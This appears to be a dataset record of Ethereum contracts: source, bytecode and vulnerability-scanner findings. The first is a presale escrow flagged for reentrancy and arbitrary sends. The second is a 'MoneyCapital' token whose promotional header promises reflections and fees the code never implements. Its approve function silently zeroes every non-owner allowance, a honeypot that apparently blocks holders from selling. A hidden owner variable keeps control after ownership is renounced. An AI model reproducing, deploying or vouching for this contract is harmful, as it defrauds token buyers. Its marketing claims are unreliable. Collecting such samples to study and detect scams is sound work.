for (uint256 i=0; i<_ids.length; i++) {
refundTransactionInternal(_ids[i]);
}
}
/// @notice refunding an investor
function refundInvestor(address _investor) public saleEnded {
for (uint256 i=0; i<addressTransactions[_investor].length; i++) {
refundTransactionInternal(addressTransactions[_investor][i]);
}
}
////////////////
// Internal functions
////////////////
/// @notice add transaction and returns its id
function addTransaction(address _investor, uint256 _amount) internal returns (uint256) {
uint256 transactionId = transactionCount;
// save transaction
transactions[transactionId] = Deposit({
amount: _amount,
beneficiary: _investor,
time: uint64(now),
cleared : false
});
// save transactionId for investor address
addressTransactions[_investor].push(transactionId);
transactionCount = transactionCount.add(1);
pendingCount = pendingCount.add(1);
LogDeposited(_investor, _amount, transactionId);
return transactionId;
}
/// @notice Forwarding a transaction, internal function, doesn't check sale status for speed up mass actions.
/// @return whether forward was successful or not
function forwardTransactionInternal(uint256 _id, bytes memory _whitelistSign) internal returns (bool) {
require(_id < transactionCount);
// if already cleared then return false
if (transactions[_id].cleared) {
return false;
}
// fixing bytes data to argument call data: data -> {data position}{data length}data
bytes memory _whitelistCall = bytesToArgument(_whitelistSign, 96);
// forwarding transaction to sale contract
if (! sale.call.value(transactions[_id].amount)(bytes4(keccak256('depositEth(address,uint256,bytes)')), transactions[_id].beneficiary, uint256(transactions[_id].time), _whitelistCall) ) {
return false;
}
transactions[_id].cleared = true;
pendingCount = pendingCount.sub(1);
LogForwarded(transactions[_id].beneficiary, transactions[_id].amount, _id);
return true;
}
/// @dev Fixing low level call for providing signature information: create proper padding for bytes information
function bytesToArgument(bytes memory _sign, uint256 _position) internal pure returns (bytes memory c) {
uint256 signLength = _sign.length;
uint256 totalLength = signLength.add(64);
uint256 loopMax = signLength.add(31).div(32);
assembly {
let m := mload(0x40)
mstore(m, totalLength) // store the total length
mstore(add(m,32), _position) // where does the data start
mstore(add(m,64), signLength) // store the length of signature
for { let i := 0 } lt(i, loopMax) { i := add(1, i) } { mstore(add(m, mul(32, add(3, i))), mload(add(_sign, mul(32, add(1, i))))) }
mstore(0x40, add(m, add(32, totalLength)))
c := m
}
}
/// @notice Send back non-cleared transactions after sale is over, not checking status for speeding up mass actions
function refundTransactionInternal(uint256 _id) internal returns (bool) {
require(_id < transactionCount);
// if already cleared then return false
if (transactions[_id].cleared) {
return false;
}
// sending back funds
transactions[_id].cleared = true;
transactions[_id].beneficiary.transfer(transactions[_id].amount);
pendingCount = pendingCount.sub(1);
LogRefunded(transactions[_id].beneficiary, transactions[_id].amount, _id);
return true;
}
////////////////
// External functions
////////////////
/// @notice gives back transaction ids based on filtering
function getTransactionIds(uint256 from, uint256 to, bool _cleared, bool _nonCleared) view external returns (uint256[] ids) {
uint256 i = 0;
uint256 results = 0;
uint256[] memory _ids = new uint256[](transactionCount);
// search in contributors
for (i = 0; i < transactionCount; i++) {
if (_cleared && transactions[i].cleared || _nonCleared && !transactions[i].cleared) {
_ids[results] = i;
results++;
}
}
ids = new uint256[](results);
for (i = from; i <= to && i < results; i++) {
ids[i] = _ids[i];
}
return ids;
}
}
|
0x6060604052600436106100ed5763ffffffff60e060020a60003504166327dfddbc811461010857806336af50fd1461013c57806369f40ebc1461015d5780636ad1fe02146101bc578063854cff2f146101eb5780638da5cb5b1461020a578063937097881461021d57806393e59dc11461026c5780639ace38c21461027f578063a8abe69a146102d3578063b2f1fe9914610349578063b77bf60014610398578063bfce477f146103ab578063cf2c52cb14610401578063d4e678b814610455578063ea70b4af1461046b578063ed6b2d7d1461047e578063f2fde38b146104a3578063ff53c5a3146104c2575b610105336020604051908101604052600081526104e1565b50005b341561011357600080fd5b61012a600160a060020a03600435166024356108fc565b60405190815260200160405180910390f35b341561014757600080fd5b61015b600160a060020a036004351661092a565b005b341561016857600080fd5b61015b60048035600160a060020a03169060446024803590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061097495505050505050565b34156101c757600080fd5b6101cf610dc0565b604051600160a060020a03909116815260200160405180910390f35b34156101f657600080fd5b61015b600160a060020a0360043516610dcf565b341561021557600080fd5b6101cf610e19565b341561022857600080fd5b61015b6004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843750949650610e2895505050505050565b341561027757600080fd5b6101cf61117b565b341561028a57600080fd5b61029560043561118a565b604051938452600160a060020a03909216602084015267ffffffffffffffff1660408084019190915290151560608301526080909101905180910390f35b34156102de57600080fd5b6102f6600435602435604435151560643515156111db565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561033557808201518382015260200161031d565b505050509050019250505060405180910390f35b341561035457600080fd5b61015b600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965061132295505050505050565b34156103a357600080fd5b61012a6113e1565b34156103b657600080fd5b61015b600480359060446024803590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506113e795505050505050565b61012a60048035600160a060020a03169060446024803590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506104e195505050505050565b341561046057600080fd5b61015b60043561151d565b341561047657600080fd5b61012a6115b8565b341561048957600080fd5b61015b600160a060020a03600435811690602435166115be565b34156104ae57600080fd5b61015b600160a060020a0360043516611674565b34156104cd57600080fd5b61015b600160a060020a036004351661170f565b6006546000908190600160a060020a031615156104fd57600080fd5b600554600160a060020a0316158015906105775750600554600160a060020a031663ecb70fb76000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561055a57600080fd5b6102c65a03f1151561056b57600080fd5b50505060405180519050155b151561058257600080fd5b600160a060020a038416151561059757600080fd5b600034116105a457600080fd5b600554600160a060020a031663aaffadf36000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156105ec57600080fd5b6102c65a03f115156105fd57600080fd5b5050506040518051341015905061061357600080fd5b61061d84346117fd565b600654909150600160a060020a0316633af32abf8560006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561067957600080fd5b6102c65a03f1151561068a57600080fd5b50505060405180519050806107855750600654600160a060020a031663a30bdea485856000604051602001526040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561071d578082015183820152602001610705565b50505050905090810190601f16801561074a5780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b151561076957600080fd5b6102c65a03f1151561077a57600080fd5b505050604051805190505b806108775750600554610811903490600160a060020a03166316934fc48760006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156107ea57600080fd5b6102c65a03f115156107fb57600080fd5b505050604051805191905063ffffffff61199c16565b600554600160a060020a031663b5dadb176000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561085957600080fd5b6102c65a03f1151561086a57600080fd5b5050506040518051905010155b156108f157600554600160a060020a0316635c975abb6000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156108c457600080fd5b6102c65a03f115156108d557600080fd5b5050506040518051905015156108f1576108ef81846119ab565b505b8091505b5092915050565b60046020528160005260406000208181548110151561091757fe5b6000918252602090912001549150829050565b60005433600160a060020a0390811691161461094557600080fd5b6005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600654600090819081908190600160a060020a0316151561099457600080fd5b600554600160a060020a031615801590610a0e5750600554600160a060020a031663ecb70fb76000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156109f157600080fd5b6102c65a03f11515610a0257600080fd5b50505060405180519050155b1515610a1957600080fd5b600554600160a060020a031615801590610a935750600554600160a060020a0316635c975abb6000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610a7657600080fd5b6102c65a03f11515610a8757600080fd5b50505060405180519050155b1515610a9e57600080fd5b600654600160a060020a0316633af32abf8760006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610af757600080fd5b6102c65a03f11515610b0857600080fd5b5050506040518051905080610c035750600654600160a060020a031663a30bdea487876000604051602001526040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610b9b578082015183820152602001610b83565b50505050905090810190601f168015610bc85780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b1515610be757600080fd5b6102c65a03f11515610bf857600080fd5b505050604051805190505b600554909450600160a060020a03166316934fc48760006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610c5f57600080fd5b6102c65a03f11515610c7057600080fd5b5050506040518051600554909450600160a060020a0316905063b5dadb176000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610cc557600080fd5b6102c65a03f11515610cd657600080fd5b5050506040518051925060009150505b600160a060020a038616600090815260046020526040902054811015610db857600160a060020a03861660009081526004602052604081208054610d6092600392909185908110610d3357fe5b9060005260206000209001548152602001908152602001600020600001548461199c90919063ffffffff16565b92508380610d6e5750828210155b15610db057600160a060020a03861660009081526004602052604090208054610dae919083908110610d9c57fe5b906000526020600020900154866119ab565b505b600101610ce6565b505050505050565b600554600160a060020a031681565b60005433600160a060020a03908116911614610dea57600080fd5b6006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a031681565b6006546000908190600160a060020a03161515610e4457600080fd5b600554600160a060020a031615801590610ebe5750600554600160a060020a031663ecb70fb76000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610ea157600080fd5b6102c65a03f11515610eb257600080fd5b50505060405180519050155b1515610ec957600080fd5b600554600160a060020a031615801590610f435750600554600160a060020a0316635c975abb6000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610f2657600080fd5b6102c65a03f11515610f3757600080fd5b50505060405180519050155b1515610f4e57600080fd5b600554600160a060020a031663b5dadb176000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610f9657600080fd5b6102c65a03f11515610fa757600080fd5b5050506040518051925060009150505b825181101561117657600654600160a060020a0316633af32abf60036000868581518110610fe157fe5b90602001906020020151815260208101919091526040908101600090812060010154600160a060020a031691516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561105057600080fd5b6102c65a03f1151561106157600080fd5b505050604051805190508061113a57506111366003600085848151811061108457fe5b90602001906020020151815260208101919091526040016000908120546005549091600160a060020a03909116906316934fc4906003908887815181106110c757fe5b90602001906020020151815260208101919091526040908101600090812060010154600160a060020a031691516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156107ea57600080fd5b8210155b1561116e5761116c83828151811061114e57fe5b906020019060200201516020604051908101604052600081526119ab565b505b600101610fb7565b505050565b600654600160a060020a031681565b60036020526000908152604090208054600190910154600160a060020a0381169074010000000000000000000000000000000000000000810467ffffffffffffffff169060e060020a900460ff1684565b6111e3611fbf565b6000806111ee611fbf565b60009250600091506001546040518059106112065750595b90808252806020026020018201604052509050600092505b6001548310156112a75785801561124d575060008381526003602052604090206001015460e060020a900460ff165b806112795750848015611279575060008381526003602052604090206001015460e060020a900460ff16155b1561129c578281838151811061128b57fe5b602090810290910101526001909101905b60019092019161121e565b816040518059106112b55750595b908082528060200260200182016040525093508792505b8683111580156112db57508183105b15611317578083815181106112ec57fe5b9060200190602002015184848151811061130257fe5b602090810290910101526001909201916112cc565b505050949350505050565b600554600090600160a060020a03161580159061139e5750600554600160a060020a031663ecb70fb76000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561138257600080fd5b6102c65a03f1151561139357600080fd5b505050604051805190505b15156113a957600080fd5b5060005b81518110156113dd576113d48282815181106113c557fe5b90602001906020020151611c2a565b506001016113ad565b5050565b60015481565b600654600160a060020a031615156113fe57600080fd5b600554600160a060020a0316158015906114785750600554600160a060020a031663ecb70fb76000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561145b57600080fd5b6102c65a03f1151561146c57600080fd5b50505060405180519050155b151561148357600080fd5b600554600160a060020a0316158015906114fd5750600554600160a060020a0316635c975abb6000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156114e057600080fd5b6102c65a03f115156114f157600080fd5b50505060405180519050155b151561150857600080fd5b61151282826119ab565b15156113dd57600080fd5b600554600160a060020a0316158015906115965750600554600160a060020a031663ecb70fb76000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561157a57600080fd5b6102c65a03f1151561158b57600080fd5b505050604051805190505b15156115a157600080fd5b6115aa81611c2a565b15156115b557600080fd5b50565b60025481565b60005433600160a060020a039081169116146115d957600080fd5b600554600160a060020a0316158015906116525750600554600160a060020a031663ecb70fb76000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561163657600080fd5b6102c65a03f1151561164757600080fd5b505050604051805190505b151561165d57600080fd5b6002541561166a57600080fd5b6113dd8282611d55565b60005433600160a060020a0390811691161461168f57600080fd5b600160a060020a03811615156116a457600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600554600090600160a060020a03161580159061178b5750600554600160a060020a031663ecb70fb76000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561176f57600080fd5b6102c65a03f1151561178057600080fd5b505050604051805190505b151561179657600080fd5b5060005b600160a060020a0382166000908152600460205260409020548110156113dd57600160a060020a038216600090815260046020526040902080546117f49190839081106117e357fe5b906000526020600020900154611c2a565b5060010161179a565b60015460009060806040519081016040908152848252600160a060020a03861660208084019190915267ffffffffffffffff42168284015260006060840181905284815260039091522081518155602082015160018201805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039290921691909117905560408201518160010160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060608201516001918201805491151560e060020a027cff0000000000000000000000000000000000000000000000000000000019909216919091179055600160a060020a038616600090815260046020526040902080549092509081016119158382611fd1565b506000918252602090912001819055600180546119379163ffffffff61199c16565b600190815560025461194e9163ffffffff61199c16565b600255600160a060020a0384167f8de097f054bf5282188a61136aa10aff99a4a5ad0ca0985010a52dbc83f8bfd5848360405191825260208201526040908101905180910390a29392505050565b6000828201838110156108f157fe5b60006119b5611fbf565b60015484106119c357600080fd5b60008481526003602052604090206001015460e060020a900460ff16156119ed57600091506108f5565b6119f8836060611f02565b6005546000868152600360205260409081902054929350600160a060020a039091169190517f6465706f73697445746828616464726573732c75696e743235362c627974657381527f29000000000000000000000000000000000000000000000000000000000000006020820152602101604051908190039020600087815260036020526040908190206001015460e060020a9092049291600160a060020a038116917401000000000000000000000000000000000000000090910467ffffffffffffffff16908690518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611b19578082015183820152602001611b01565b50505050905090810190601f168015611b465780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f193505050501515611b7157600091506108f5565b6000848152600360205260409020600190810180547cff00000000000000000000000000000000000000000000000000000000191660e060020a179055600254611bc09163ffffffff611f9616565b6002556000848152600360205260409081902060018101549054600160a060020a03909116917f50918e5fa441f8f43efb53b7493950db2e97a69244340910c8c324f88d4bd724919087905191825260208201526040908101905180910390a25060019392505050565b6001546000908210611c3b57600080fd5b60008281526003602052604090206001015460e060020a900460ff1615611c6457506000611d50565b600082815260036020526040908190206001810180547cff00000000000000000000000000000000000000000000000000000000191660e060020a17908190559054600160a060020a039091169181156108fc02919051600060405180830381858888f193505050501515611cd857600080fd5b600254611cec90600163ffffffff611f9616565b6002556000828152600360205260409081902060018101549054600160a060020a03909116917ff34c4309dc2340d780a32f411d8c117bc020f7e525ec5801940c410e254e9e48919085905191825260208201526040908101905180910390a25060015b919050565b60008054819033600160a060020a03908116911614611d7357600080fd5b600160a060020a0384161515611dc55782600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f193505050501515611dc057600080fd5b611efc565b83915081600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515611e1f57600080fd5b6102c65a03f11515611e3057600080fd5b5050506040518051915050600160a060020a03821663a9059cbb848360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515611e9857600080fd5b6102c65a03f11515611ea957600080fd5b505050604051805190505082600160a060020a031684600160a060020a03167f21e9b296e283cad208b551b3c383bb74e34086eb5691fee8392dcce6794521c28360405190815260200160405180910390a35b50505050565b611f0a611fbf565b600080600085519250611f2483604063ffffffff61199c16565b9150611f486020611f3c85601f63ffffffff61199c16565b9063ffffffff611fa816565b905060405182815285602082015283604082015260005b82811015611f83578060010160200288015160206003830102830152600101611f5f565b5091820160200160405250949350505050565b600082821115611fa257fe5b50900390565b6000808284811515611fb657fe5b04949350505050565b60206040519081016040526000815290565b8154818355818115116111765760008381526020902061117691810190830161200e91905b8082111561200a5760008155600101611ff6565b5090565b905600a165627a7a723058208349127ec195b84ad2fbd0102cd7d41a5f4959fce224a85d71fb85bacaad3b660029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,204 |
0x8e1556dba6f6e5695b10e7a52e717fdb94b67d95
|
/*
Welcome to M - Money Capital
MoneyCapital is the 1st truly multi-chain yield aggregation protocol combining an index of DeFi 3.0 protocols across 8 different blockchains - allowing $M holders to benefit and gain exposure to all of them on top of reflections from the deflationary $M token!
⚖️ Tokenomics
🟢 Buy: 10% Reflection to Holders
🔴 Sell: 5% Treasury / 5% Marketing & Dev / 10% Liquidity - Day1 Only -
Total Supply: 1,000,000,000,000 $M
🚀 Launch Type: Fair Launch
❕Upcoming Events
🔹 Influencer Marketing (Twitter, TG, YT)
🔹 CG/CMC Listings
🔹 Partnership Announcements
🔹 Dashboard & UI v1
❔Important Links
💻 Website: MoneyCapital.org
🕊 Twitter: https://twitter.com/MoneyCapitalEth
📱 Telegram: https://t.me/MoneyCapital_Official
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract MoneyCapital is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 10* 10**9* 10**18;
string private _name = ' Money Capital ';
string private _symbol = 'M';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060